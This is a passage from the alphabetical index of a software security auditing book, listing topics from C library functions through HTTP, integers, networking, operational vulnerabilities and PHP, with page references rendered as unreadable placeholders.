     sizeof( )(? [????.]) 2nd(? [????.]) 

     snprintf( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     socketpair( )(? [????.]) 2nd(? [????.]) 

     sprintf( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     stat( )(? [????.]) 

     strcat( )(? [????.]) 

     strcpy( )(? [????.]) 2nd(? [????.]) 

     strlcat( )(? [????.]) 

     strlcpy( )(? [????.]) 

     strlen( )(? [????.]) 
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     strncat( )(? [????.]) 

     strncpy( )(? [????.]) 2nd(? [????.]) 

     syslog( )(? [????.]) 

     system( )(? [????.]) 

     tempnam( )(? [????.]) 

     TerminateThread( )(? [????.]) 

     tgetent( )(? [????.]) 

     time( )(? [????.]) 

     tmpfile( )(? [????.]) 

     tmpnam( )(? [????.]) 

     toupper( )(? [????.]) 

     try_lib( )(? [????.]) 

     unbounded string functions(? [????.]) 

     Unicode(? [????.]) 

    UNIX 

         group ID functions(? [????.]) 

         user ID functions(? [????.]) 

     unlink( )(? [????.]) 2nd(? [????.]) 

     uselib( )(? [????.]) 

     utility functions, HTTP (Hypertext Transfer Protocol)(? [????.]) 

     vfork( )(? [????.]) 

     vreply( )(? [????.]) 

     vsnprintf( )(? [????.]) 

     wait functions(? [????.]) 

     wcsncpy( )(? [????.]) 

     WideCharToMultiByte( )(? [????.]) 2nd(? [????.]) 

fuzz testing 

     automation objects, COM (Component Object Model)(? [????.]) 

     code auditing tools(? [????.]) 

10.8 G 
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Gates, Bill(? [????.]) 

GATEWAY_INTERFACE (environment variable)(? [????.]) 

gateways(? [????.]) 

     system call gateways(? [????.]) 
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GECOS field, UNIX(? [????.]) 

general CP (candidate point) strategy, code audits(? [????.]) 

generalization approach, application review(? [????.]) 

GET method(? [????.]) 2nd(? [????.]) 

get_mac( ) function(? [????.]) 

get_string_from_network( ) function(? [????.]) 

get_user( ) function(? [????.]) 

GetCurrentProcess( ) function(? [????.]) 

GetFullPathName( ) Call in Apache 2.2.0 listing (8-14)(? [????.]) 

GetFullPathName( ) function(? [????.]) 

GetLastError( ) function(? [????.]) 2nd(? [????.]) 

GetMachineName( ) function(? [????.]) 

getrlimit( ) function(? [????.]) 

GIDs (group IDs), UNIX(? [????.]) 2nd(? [????.]) 

global namespaces, Windows NT(? [????.]) 

global overflows(? [????.]) 

globbing characters, UNIX programs, indirect invocation(? [????.]) 

GNU/Linux(? [????.]) 

Govindavajhala, Sudhakar(? [????.]) 

Greenman, David(? [????.]) 

group ID functions (UNIX)(? [????.]) 

group IDs (GIDs), UNIX(? [????.]) 

     functions(? [????.]) 

group lists, Windows NT sessions, SIDs(? [????.]) 

groups, UNIX(? [????.]) 

     effective groups(? [????.]) 

     file security(? [????.]) 

     GIDs (group IDs)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     login groups(? [????.]) 

     primary groups(? [????.]) 

     privilege vunerabilities(? [????.]) 

     process groups(? [????.]) 

     real groups(? [????.]) 

     saved set groups(? [????.]) 

     secondary groups(? [????.]) 

     setgid (set-group-id)(? [????.]) 

     supplemental groups(? [????.]) 2nd(? [????.]) 

Guninski, Giorgi(? [????.]) 2nd(? [????.]) 
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Hacker Emergency Response Team (HERT)(? [????.]) 

handlers, non-returning signal handlers, signals(? [????.]) 2nd(? [????.]) 

handles, Windows NT objects(? [????.]) 

handling 

     signals(? [????.]) 

     strings, C programming language(? [????.]) 

hard links 

     UNIX files(? [????.]) 2nd(? [????.]) 

     Windows NT files(? [????.]) 

hardware device drivers(? [????.]) 

Hart, Johnson M.(? [????.]) 

hash functions(? [????.]) 

hash payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

hash tables, auditing(? [????.]) 2nd(? [????.]) 

hash-based message authentication code (HMAC)(? [????.]) 

hashing algorithms(? [????.]) 

headers 

     DNS (Domain Name System)(? [????.]) 

     HTTP (Hypertext Transport Protocol)(? [????.]) 

         fields(? [????.]) 

         parsing(? [????.]) 

     IP (Internet Protocol), validation(? [????.]) 

     ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

         certificate payloads(? [????.]) 

         delete payloads(? [????.]) 

         hash payloads(? [????.]) 

         identification payloads(? [????.]) 

         key exchange payloads(? [????.]) 2nd(? [????.]) 

         nonce payloads(? [????.]) 

         notification payloads(? [????.]) 

         proposal payloads(? [????.]) 

         security association payloads(? [????.]) 

         signature payloads(? [????.]) 

         transform payloads(? [????.]) 

         vendor ID payloads(? [????.]) 

     TCP headers(? [????.]) 

         validation(? [????.]) 

     UDP headers, validation(? [????.]) 

headers (HTTP), Referer(? [????.]) 
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heap hardening(? [????.]) 

heap overflows, buffer overflows(? [????.]) 

heap protection, operational vulnerabilities, preventing(? [????.]) 

Henriksen, Inge(? [????.]) 

HERT (Hacker Emergency Response Team)(? [????.]) 

Hex-encoded Pathname Vulnerability listing (8-27)(? [????.]) 

hexadecimal encoding, pathnames, vunerabilities(? [????.]) 

hidden fields, auditing(? [????.]) 

high-level attack vectors, OpenSSH, code auditing(? [????.]) 

HKEY_CLASSES_ROOT key(? [????.]) 

HMAC (hash-based message authentication code)(? [????.]) 

Hoglund, Greg(? [????.]) 

/home directory (UNIX)(? [????.]) 

home directories, UNIX users(? [????.]) 

HOME environment variable (UNIX)(? [????.]) 

homographic attacks(? [????.]) 

     Unicode(? [????.]) 

Host header field (HTTP)(? [????.]) 

host-based firewalls(? [????.]) 

host-based IDSs (intrusion detection systems)(? [????.]) 

host-based IPSs (intrusion prevention systems)(? [????.]) 

host-based measures, operational vulnerabilities(? [????.]) 

     antimnalware applications(? [????.]) 

     change monitoring(? [????.]) 

     choot jails(? [????.]) 

     enhanced kernel protections(? [????.]) 

     file system persmissions(? [????.]) 

     host-based firewalls(? [????.]) 

     host-based IDSs (intrusion detection systems)(? [????.]) 

     host-based IPSs (intrusion prevention systems)(? [????.]) 

     object system persmissions(? [????.]) 

     restricted accounts(? [????.]) 

     system virtualization(? [????.]) 

How to Survive a Robot Uprising(? [????.]) 

Howard, Michael(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

HPUX(? [????.]) 

HTML (Hypertext Markup Language)(? [????.]) 

     encoding(? [????.]) 

HTTP (Hypertext Transport Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     authentication(? [????.]) 2nd(? [????.]) 

     cookies(? [????.]) 

     embedded path information(? [????.]) 

     forms(? [????.]) 

     headers(? [????.]) 
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         fields(? [????.]) 

         parsing(? [????.]) 

     methods(? [????.]) 

         CONNECT(? [????.]) 

         DELETE(? [????.]) 

         GET(? [????.]) 2nd(? [????.]) 

         OPTIONS(? [????.]) 

         parameter encoding(? [????.]) 

         POST(? [????.]) 

         PUT(? [????.]) 

         SPACEJUMP(? [????.]) 

         TEXTSEARCH(? [????.]) 

         TRACE(? [????.]) 

         WebDAV (Web Distributed Authoring and Versioning) methods(? [????.]) 

     overview of(? [????.]) 

     posting data(? [????.]) 

     query strings(? [????.]) 

     requests(? [????.]) 2nd(? [????.]) 

     resource access(? [????.]) 

     responses(? [????.]) 

     sessions(? [????.]) 2nd(? [????.]) 

         security vulnerabilities(? [????.]) 

         session management(? [????.]) 

         session tokens(? [????.]) 

     state maintenance(? [????.]) 

         client IP addresses(? [????.]) 

         cookies(? [????.]) 

         embedding state in HTML and URLs(? [????.]) 

         HTTP authentication(? [????.]) 2nd(? [????.]) 

         Referer request headers(? [????.]) 

         sessions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     utility functions(? [????.]) 

     versions(? [????.]) 

HTTP request methods(? [????.]) 

hybrid approach, application review(? [????.]) 

Hypertext Markup Language (HTML) [See HTML (Hypertext Markup Language)(? [????.]).] 

Hypertext Transfer Protocol (HTTP) [See HTTP (Hypertext Transport Protocol)(? [????.]).] 

hypothesis testing, DG (design generalization) strategy(? [????.]) 
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IDA Pro binary navigation tool(? [????.]) 

IDC (Internet Database Connection)(? [????.]) 

identification payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

idioms, UNIX privileges, misuse of(? [????.]) 

IDL files, RPCs (Remote Procedure Calls)(? [????.]) 

IDs, files, UNIX(? [????.]) 

IDSs (intrusion detection systems)(? [????.]) 

     host-based IDSs (intrusion detection systems)(? [????.]) 

If Header Processing Vulnerability in Apache's mod_dav Module listing (8-6)(? [????.]) 

If-Match header field (HTTP)(? [????.]) 

If-Modified-Since header field (HTTP)(? [????.]) 

If-None-Match header field (HTTP)(? [????.]) 

If-Range header field (HTTP)(? [????.]) 

If-Unmodified-Since header field (HTTP)(? [????.]) 

Ignoring realloc( ) Return Value listing (7-25)(? [????.]) 

Ignoring Return Values listing (7-28)(? [????.]) 

ImpersonateNamedPipe( ) function(? [????.]) 

impersonation(? [????.]) 

     DCOM (Distributed Component Object Model)(? [????.]) 

     IPC (interprocess communications)(? [????.]) 

         levels(? [????.]) 

         SelimpersonatePrivilege(? [????.]) 

     RPCs (Remote Procedure Calls)(? [????.]) 

     Windows NT sessions, access tokens(? [????.]) 

implementation 

     SDLC (Systems Development Life Cycle)(? [????.]) 

     vunerabilities(? [????.]) 

implementation analysis, OpenSSH, code auditing(? [????.]) 

implementation defined behavior, C programming language(? [????.]) 

implicit type conversions(? [????.]) 

import function tables(? [????.]) 

imports, Windows binary layout(? [????.]) 

in-band representation, metadata(? [????.]) 

in-house software audits(? [????.]) 

.inc files 

     ASP(? [????.]) 

     PHP(? [????.]) 

include( ) method, Java servlets(? [????.]) 

Incorrect Temporary Privilege Relinquishment in FreeBSD Inetd listing (9-2)(? [????.]) 
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independent research(? [????.]) 

indexed queries(? [????.]) 2nd(? [????.]) 

Indirect Memory Corruption listing (5-5)(? [????.]) 

indirect program invocation, UNIX(? [????.]) 

information collection 

     application review(? [????.]) 

     threat modeling(? [????.]) 

inheritance 

     ACLs (access control lists), Windows NT(? [????.]) 

     Windows NT object handles(? [????.]) 

initgroups( ) function(? [????.]) 

initialization vector (IV)(? [????.]) 

initialization, variables, auditing(? [????.]) 

initialize_ipc( ) function(? [????.]) 

initJobThreads( ) function(? [????.]) 

inline evaluation 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     Perl(? [????.]) 

     PHP(? [????.]) 

inodes (information nodes), UNIX files(? [????.]) 

input 

     extraneous input thinning(? [????.]) 

     malicious input, tracing(? [????.]) 

     treating as hostile(? [????.]) 

     vulnerabilities(? [????.]) 

input_userauth_info_response( ) function(? [????.]) 

insecure defaults(? [????.]) 

insufficient validation, authentication(? [????.]) 

integer conversion rank(? [????.]) 

integer overflow(? [????.]) 

Integer Overflow Example listing (6-2)(? [????.]) 

Integer Overflow with 0Byte Allocation Check listing (7-37)(? [????.]) 

Integer Sign Boundary Vulnerability Example in OpenSSL 0.9.6l listing (6-6)(? [????.]) 

integer types, C programming language(? [????.]) 

integer underflow(? [????.]) 2nd(? [????.]) 

integers 

     promotions(? [????.]) 

    signed integers 

         boundaries(? [????.]) 

         vunerabilities(? [????.]) 

     type conversions(? [????.]) 

         narrowing(? [????.]) 
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         sign extensions(? [????.]) 

         value preservation(? [????.]) 

         widening(? [????.]) 

    unsigned integers 

         boundaries(? [????.]) 2nd(? [????.]) 

         numeric overflow(? [????.]) 

         numeric underflow(? [????.]) 

         vunerabilities(? [????.]) 

integration, SDLC (Systems Development Life Cycle)(? [????.]) 

integrity(? [????.]) 

     auditing, importance of(? [????.]) 2nd(? [????.]) 

     common vunerabilities(? [????.]) 

     cryptographic signatures(? [????.]) 

     expectations of(? [????.]) 

     hash functions(? [????.]) 

     originator validation(? [????.]) 

     salt values(? [????.]) 

Intel architectures 

     carry flags (CFs)(? [????.]) 

     multiplication overflows(? [????.]) 2nd(? [????.]) 

interface proxies, COM (Component Object Model)(? [????.]) 

interfaces 

     COM (Component Object Model) applications(? [????.]) 

         auditing(? [????.]) 

     network interfaces(? [????.]) 

     RPC servers, registering(? [????.]) 

     vulnerabilities(? [????.]) 

internal flow analysis, code auditing(? [????.]) 

internal trusted sources, spoofing attacks, firewalls(? [????.]) 

Internet Database Connection (IDC)(? [????.]) 

Internet Server Application Programming Interface (ISAPI)(? [????.]) 

interprocess communication, UNIX(? [????.]) 

interprocess communications (IPC) [See IPC (interprocess communications), Windows NT(? 

[????.]).] 

interprocess synchronization, vulnerabilities(? [????.]) 

interruptions, signals(? [????.]) 2nd(? [????.]) 

interviewing developers(? [????.]) 

intrusion prevention systems (IPSs) [See IPSs (intrusion prevention systems)(? [????.]).] 

INVALID_HANDLE_VALUE, NULL, compared(? [????.]) 

invocation 

     DCOM objects(? [????.]) 

     UNIX programs(? [????.]) 

         direct invocation(? [????.]) 

         indirect invocation(? [????.]) 
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IP (Internet Protocol)(? [????.]) 

     addresses(? [????.]) 

         maintaining state with(? [????.]) 

     addressing(? [????.]) 

     checksum(? [????.]) 

     fragmentation(? [????.]) 

         overlapping fragments(? [????.]) 

         pathological fragment sets(? [????.]) 

         processing(? [????.]) 

     header validation(? [????.]) 

     IP packets(? [????.]) 

     options(? [????.]) 

     source routing(? [????.]) 

     subnet(? [????.]) 

IPC (interprocess communications), Windows NT(? [????.]) 

     COM (Component Object Model)(? [????.]) 

     DDE (Dynamic Data Exchange)(? [????.]) 

     desktop object(? [????.]) 

     impersonation(? [????.]) 

     mailslots(? [????.]) 

     messaging(? [????.]) 

     pipes(? [????.]) 

     redirector(? [????.]) 

     RPCs (Remote Procedure Calls)(? [????.]) 

     security(? [????.]) 

     shatter attacks(? [????.]) 

     window station(? [????.]) 

     WTS (Windows Terminal Services)(? [????.]) 

IPSs (intrusion prevention systems)(? [????.]) 

     host-based IPSs (intrusion prevention systems)(? [????.]) 

IRIX(? [????.]) 

ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

     encryption vunerabilities(? [????.]) 

     headers(? [????.]) 

     payloads(? [????.]) 

         certificate payloads(? [????.]) 

         certificate request payloads(? [????.]) 

         delete payloads(? [????.]) 

         hash payloads(? [????.]) 

         identification payloads(? [????.]) 

         key exchange payloads(? [????.]) 2nd(? [????.]) 

         nonce payloads(? [????.]) 

         notification payloads(? [????.]) 

         proposal payloads(? [????.]) 
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         SA (security association) payloads(? [????.]) 

         signature payloads(? [????.]) 

         transform payloads(? [????.]) 

         vendor ID payloads(? [????.]) 

ISAPI (Internet Server Application Programming Interface)(? [????.]) 

ISAPI filters(? [????.]) 

IsDBCSLeadByte( ) function(? [????.]) 

iterative process, application review(? [????.]) 
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Jaa, Tony(? [????.]) 

Java Database Connectivity (JDBC)(? [????.]) 

Java servlets(? [????.]) 2nd(? [????.]) 

     configuration settings(? [????.]) 

     cross-site scripting(? [????.]) 

     file access(? [????.]) 

     file inclusion(? [????.]) 

     inline evaluation(? [????.]) 

     JSP file inclusion(? [????.]) 

     shell invocation(? [????.]) 

     SQL injection queries(? [????.]) 

     threading(? [????.]) 

     Web server APIs versus(? [????.]) 

Java Virtual Machine (JVM)(? [????.]) 

JavaScript Object Notation (JSON)(? [????.]) 

JavaServer Pages (JSP)(? [????.]) 2nd(? [????.]) 

     file inclusion(? [????.]) 

JDBC (Java Database Connectivity)(? [????.]) 

Johanson, Eric(? [????.]) 

Johnson, Nick(? [????.]) 

JSON (JavaScript Object Notation)(? [????.]) 

JSP (JavaServer Pages)(? [????.]) 2nd(? [????.]) 

     file inclusion(? [????.]) 

jump locations, signals(? [????.]) 

junction points, Windows NT files(? [????.]) 
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     arbitrary file accesses(? [????.]) 

     race conditions(? [????.]) 

     TOCTTOU (time of check to time of use)(? [????.]) 

JVM (Java Virtual Machine)(? [????.]) 
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Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

kernel 

     Linux, probing(? [????.]) 

     UNIX(? [????.]) 

kernel files, UNIX(? [????.]) 

Kernel Object Manager (KOM)(? [????.]) 

Kernel Probe Vulnerability in Linux 2.2 listing (10-1)(? [????.]) 

key exchange payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 2nd(? 

[????.]) 

keys, Windows NT registry 

     key squatting(? [????.]) 

     permissions(? [????.]) 

     predefined keys(? [????.]) 

kill bit, Active X controls(? [????.]) 

kill( ) function(? [????.]) 

Kirch, Olaf(? [????.]) 

Klima, Vlastimil(? [????.]) 

KOM (Kernel Object Manager)(? [????.]) 

Koziol, Jack(? [????.]) 

Krahmer, Sebastian(? [????.]) 2nd(? [????.]) 

Kuhn, Juan Pablo Martinez(? [????.]) 
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Lai, Xuejia(? [????.]) 

languages (programming), C(? [????.]) 

     arithmetic boundary conditions(? [????.]) 

     binary encoding(? [????.]) 

     bit fields(? [????.]) 

     bitwise shift operators(? [????.]) 

     byte order(? [????.]) 

     character types(? [????.]) 

     data storage(? [????.]) 

     floating types(? [????.]) 

     function invocations(? [????.]) 

     implementation defined behavior(? [????.]) 

     integer types(? [????.]) 

     macros(? [????.]) 

     objects(? [????.]) 

     operators(? [????.]) 

     order of evaluation(? [????.]) 

     pointers(? [????.]) 

     precedence(? [????.]) 

     preprocessor(? [????.]) 

     signed integer boundaries(? [????.]) 

     standards(? [????.]) 

     structure padding(? [????.]) 

     switch statements(? [????.]) 

     type conversion vunerabilities(? [????.]) 

     type conversions(? [????.]) 

     types(? [????.]) 

     typos(? [????.]) 

     unary + operator(? [????.]) 

     unary operator(? [????.]) 

     unary operator(? [????.]) 

     undefined behavior(? [????.]) 

     unsigned integer boundaries(? [????.]) 2nd(? [????.]) 

Last Stage of Delirium (LSD)(? [????.]) 

Last-Modified header field (HTTP)(? [????.]) 

layer 1 (physical), network segmentation(? [????.]) 

layer 2 (data link), network segmentation(? [????.]) 

layer 3 (network), network segmentation(? [????.]) 

layer 4 (transport), network segmentation(? [????.]) 

layer 5 (session), network segmentation(? [????.]) 

layer 6 (presentation), network segmentation(? [????.]) 
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layer 7 (application) 

     enterprise firewalls(? [????.]) 

     network segmentation(? [????.]) 

layering, stateful inspection firewalls(? [????.]) 

layers 

     multiple encoding layers(? [????.]) 

     network segmentation(? [????.]) 

LD_LIBRARY_PATH environment variable (UNIX)(? [????.]) 

LD_PRELOAD environment variable (UNIX)(? [????.]) 

Le Blanc, David(? [????.]) 

leaks, file descriptors, UNIX(? [????.]) 

Leblanc, David(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

Lebras, Gregory(? [????.]) 

Leidl, Bruce(? [????.]) 

length calculations, multiple calculations on same input(? [????.]) 

Length Miscalculation Example for Constructing an ACC log listing (7-33)(? [????.]) 

length variables, DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

Lenstra, Arjen(? [????.]) 

levels, impersonation, IPC (interprocess communications(? [????.]) 

libraries(? [????.]) 

     UNIX(? [????.]) 

Lincoln, Abraham(? [????.]) 

linked lists 

     auditing(? [????.]) 

     circular linked lists(? [????.]) 

     doubly linked lists(? [????.]) 

     singly linked lists(? [????.]) 

linking objects, vunerabilities(? [????.]) 

links 

     UNIX files(? [????.]) 

         hard links(? [????.]) 2nd(? [????.]) 

         soft links(? [????.]) 

     Windows NT files(? [????.]) 

         hard links(? [????.]) 

         junction points(? [????.]) 

Linux(? [????.]) 

     capabilities(? [????.]) 

     do_mremap( ) function, vunerabilities(? [????.]) 

     environment strings(? [????.]) 

     file system IDs(? [????.]) 

     kernel probes, vunerabilities(? [????.]) 

     teardrop vunerability(? [????.]) 

Linux do_mremap( ) Vulnerability listing (7-26)(? [????.]) 

Linux Teardrop Vulnerability listing (7-14)(? [????.]) 
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List Pointer Update Error listing (7-13)(? [????.]) 

list_add( ) function(? [????.]) 

list_init( ) function(? [????.]) 

listings 

     10-1 (Kernel Probe Vulnerability in Linux 2.2)(? [????.]) 

     10-2 (Setenv( ) Vulnerabilty in BSD)(? [????.]) 

     10-3 (Misuse of putenv( ) in Solaris Telnetd)(? [????.]) 

     13-1 (Signal Interruption)(? [????.]) 

     13-2 (Signal Race Vulnerability in WU-FTPD)(? [????.]) 

     13-3 (Race Condition in the Linux Kernel's Uselib( ))(? [????.]) 

     16-1 (Name Validation Denial of Service)(? [????.]) 

     16-2 (Certificate Payload Integer Underflow in CheckPoint ISAKMP)(? [????.]) 

     5-1 (Function Prologue)(? [????.]) 

     5-2 (Off-by-One Length Miscalculation)(? [????.]) 

     5-3 (Off-by-One Length Miscalculation)(? [????.]) 

     5-4 (Overflowing into Local Variables)(? [????.]) 

     5-5 (Indirect Memory Corruption)(? [????.]) 

     5-6 (Off-by-One Overwrite)(? [????.]) 

     6-1 (Twos Complement Representation of -15)(? [????.]) 

     6-10 (Antisniff v1.1.1 Vulnerability)(? [????.]) 

     6-11 (Antisniff v1.1.2 Vulnerability)(? [????.]) 

     6-12 (Sign Extension Vulnerability Example)(? [????.]) 

     6-13 (Prescan Sign Extension Vulnerability in Sendmail)(? [????.]) 

     6-14 (Sign-Extension Example)(? [????.]) 

     6-15 (Zero-Extension Example)(? [????.]) 

     6-16 (Truncation Vulnerability Example in NFS)(? [????.]) 

     6-17 (Truncation Vulnerabilty Example)(? [????.]) 

     6-18 (Detect_attack Small Packet Algorithm in SSH)(? [????.]) 

     6-19 (Detect_attack Truncation Vulnerability in SSH)(? [????.]) 

     6-2 (Integer Overflow Example)(? [????.]) 

     6-20 (Comparison Vulnerability Example)(? [????.]) 

     6-21 (Signed Comparison Vulnerability)(? [????.]) 

     6-22 (Unsigned Comparison Vulnerability)(? [????.]) 

     6-23 (Signed Comparison Example in PHP)(? [????.]) 

     6-24 (Sizeof Misuse Vulnerability Example)(? [????.]) 

     6-25 (Sign-Preserving Right Shift)(? [????.]) 

     6-26 (Right Shift Vulnerability Example)(? [????.]) 

     6-27 (Division Vulnerability Example)(? [????.]) 

     6-28 (Modulus Vulnerability Example)(? [????.]) 

     6-29 (Pointer Arithmetic Vulnerability Example)(? [????.]) 

     6-3 (Challenge-Response Integer Overflow Example in OpenSSH 3.1)(? [????.]) 

     6-30 (Order of Evaluation Logic Vulnerability)(? [????.]) 

     6-31 (Order of Evaluation Macro Vulnerability)(? [????.]) 

     6-32 (Structure Padding in a Network Protocol)(? [????.]) 
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     6-33 (Example of Structure Padding Double Free)(? [????.]) 
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     double-free vunerabiltiy(? [????.]) 

OpenSSL BUF_MEM_grow( ) Signed Variable Desynchronization listing (7-5)(? [????.]) 

operands, order of evaluation(? [????.]) 

operating systems, file system interaction(? [????.]) 

     execution(? [????.]) 
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     file uploading(? [????.]) 

     null bytes(? [????.]) 

     path traversal(? [????.]) 

     programmatic SSI(? [????.]) 

operational vulnerabilities(? [????.]) 

     access control(? [????.]) 

     attack surfaces(? [????.]) 

     development protective measures(? [????.]) 

         ASLR (address space layout randomization)(? [????.]) 

         heap protection(? [????.]) 

         nonexecutable stacks(? [????.]) 

         registered function pointers(? [????.]) 

         stack protection(? [????.]) 

         VMs (virtual machines)(? [????.]) 

     exposure(? [????.]) 

     host-based measures(? [????.]) 

         antimnalware applications(? [????.]) 

         change monitoring(? [????.]) 

         chroot jails(? [????.]) 

         enhanced kernel protections(? [????.]) 

         file system permissions(? [????.]) 

         host-based firewalls(? [????.]) 

         host-based IDSs (intrusion detection systems)(? [????.]) 

         host-based IPSs (intrusion prevention systems)(? [????.]) 

         object system permissions(? [????.]) 

         restricted accounts(? [????.]) 

         system virtualization(? [????.]) 

     insecure defaults(? [????.]) 

     network profiles(? [????.]) 

     network-based measures(? [????.]) 

         NAT (Network Address Translation)(? [????.]) 

         network IDSs(? [????.]) 

         network IPSs(? [????.]) 

         segmentation(? [????.]) 

         VPNs (virtual private networks)(? [????.]) 

     secure channels(? [????.]) 

     spoofing(? [????.]) 

     unnecessary services(? [????.]) 

    Web-specific vulnerabilities 

         authentication(? [????.]) 

         default site installations(? [????.]) 

         directory indexing(? [????.]) 

         file handlers(? [????.]) 

         HTTP request methods(? [????.]) 
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         overly verbose error messages(? [????.]) 

         public-facing administrative interfaces(? [????.]) 

     Web-specific vunerabilities(? [????.]) 

operational vunerabilities(? [????.]) 2nd(? [????.]) 

operations, SDLC (Systems Development Life Cycle)(? [????.]) 

operators 

     assignment operators, type conversions(? [????.]) 

     binary bitwise operators(? [????.]) 

     bitwise shift operators(? [????.]) 

     C programming language(? [????.]) 2nd(? [????.]) 

     equality operators(? [????.]) 

     multiplicative operators(? [????.]) 

     question mark operators(? [????.]) 

     relational operators(? [????.]) 

    vulnerabilities 

         right shift(? [????.]) 

         size(? [????.]) 

options 

     IP (Internet Protocol)(? [????.]) 

     TCP options, processing(? [????.]) 

OPTIONS method(? [????.]) 

order of action, ACC logs(? [????.]) 

Order of Evaluation Logic Vulnerability listing (6-30)(? [????.]) 

Order of Evaluation Macro Vulnerability listing (6-31)(? [????.]) 

order of evaluation, operands(? [????.]) 

originator validation(? [????.]) 

Osborne, Anthony(? [????.]) 

out-band representation, metadata(? [????.]) 

out-of-order statements(? [????.]) 

Out-of-Order Statements listing (7-35)(? [????.]) 

Outdated Pointer Use in ProFTPD listing (7-31)(? [????.]) 

Outdated Pointer Vulnerability listing (7-30)(? [????.]) 

outdated pointers(? [????.]) 

     ProFTPD(? [????.]) 

overflow 

     multiplication overflows, Intel architectures(? [????.]) 2nd(? [????.]) 

     unsigned integers(? [????.]) 

Overflowing into Local Variables listing (5-4)(? [????.]) 

overlapping fragments, IP (Internet Protocol)(? [????.]) 

overly verbose error messages, Web-based applications(? [????.]) 

overwriting bytes(? [????.]) 

ownership, UNIX files, race conditions(? [????.]) 
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10.17 P 

Index 
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[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

packet sniffers(? [????.]) 

packet subsystem, SSH server, code audits(? [????.]) 

packet-filtering firewalls(? [????.]) 

     proxy firewalls, compared(? [????.]) 

     stateful firewalls(? [????.]) 

         directionality(? [????.]) 

         fragmentation(? [????.]) 

         stateful inspection firewalls(? [????.]) 

         TCP (Transport Control Protocol)(? [????.]) 

         UDP (User Datagram Protocol)(? [????.]) 

     stateless firewalls(? [????.]) 

         fragmentation(? [????.]) 

         FTP (File Transfer Protocol)(? [????.]) 

         TCP (Transmission Control Protocol)(? [????.]) 

         UDP (User Datagram Protocol)(? [????.]) 

packets 

     DNS (Domain Name System)(? [????.]) 

     encapsulation(? [????.]) 

     IP packets(? [????.]) 

     packet sniffers(? [????.]) 

     source routing(? [????.]) 

     TCP packets, scanning(? [????.]) 

padding bits, unsigned integer types(? [????.]) 

page flow(? [????.]) 

Paget, Chris(? [????.]) 

parameterized queries(? [????.]) 

parameters, transmitting to Web applications(? [????.]) 

     embedded path information(? [????.]) 

     forms(? [????.]) 

     GET method(? [????.]) 2nd(? [????.]) 

     parameter encoding(? [????.]) 

     POST method(? [????.]) 

     query strings(? [????.]) 

parent directories, UNIX(? [????.]) 
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parent functions, vunerabilities(? [????.]) 

parroted request variables(? [????.]) 

parse_rrecord( ) function(? [????.]) 

parsing HTTP headers(? [????.]) 

passive FTP(? [????.]) 

password files, UNIX(? [????.]) 

PATH environment variable (UNIX)(? [????.]) 

path information (HTTP)(? [????.]) 

path metacharcters(? [????.]) 

     file canonicalization(? [????.]) 

     Windows registry(? [????.]) 

path traversal(? [????.]) 

PATH_INFO environment variable(? [????.]) 2nd(? [????.]) 

PATH_TRANSLATED environment variable(? [????.]) 

pathnames 

     hexadecimal encoding(? [????.]) 

     UNIX(? [????.]) 

pathological code paths(? [????.]) 

pathological fragment sets, IP (Internet Protocol)(? [????.]) 

paths 

     files, UNIX(? [????.]) 

     path traversal(? [????.]) 

Payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

     certificate payloads(? [????.]) 

     certificate request payloads(? [????.]) 

     delete payloads(? [????.]) 

     hash payloads(? [????.]) 

     identification payloads(? [????.]) 

     key exchange payloads(? [????.]) 2nd(? [????.]) 

     nonce payloads(? [????.]) 

     notification payloads(? [????.]) 

     proposal payloads(? [????.]) 

     SA (security association) payloads(? [????.]) 

     signature payloads(? [????.]) 

     transform payloads(? [????.]) 

     vendor ID payloads(? [????.]) 

PCI (Payment Card Industry) 1.0 Data Security Requirement(? [????.]) 

peer reviews, application review(? [????.]) 

PER (Packed Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) 

Perl(? [????.]) 

     cross-site scripting(? [????.]) 

     file access(? [????.]) 

     file inclusion(? [????.]) 

     inline evaluation(? [????.]) 
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     open( ) function(? [????.]) 

     shell invocation(? [????.]) 

     SQL injection queries(? [????.]) 

     taint mode(? [????.]) 

permission bitmasks(? [????.]) 

permissions 

     DCOM (Distributed Component Object Model), subsystem access permissions(? [????.]) 

     Directories, UNIX(? [????.]) 

     file access, Windows NT(? [????.]) 2nd(? [????.]) 

     file systems(? [????.]) 

     files, UNIX(? [????.]) 

     mailsots(? [????.]) 

     object systems(? [????.]) 

     registry keys, Windows NT(? [????.]) 

     UNIX files, race conditions(? [????.]) 

     Windows NT pipes(? [????.]) 

personal user files, UNIX(? [????.]) 

phishing(? [????.]) 

PHP (PHP Hypertext Preprocessor)(? [????.]) 2nd(? [????.]) 

     configuration settings(? [????.]) 

     cross-site scripting(? [????.]) 

     file access(? [????.]) 

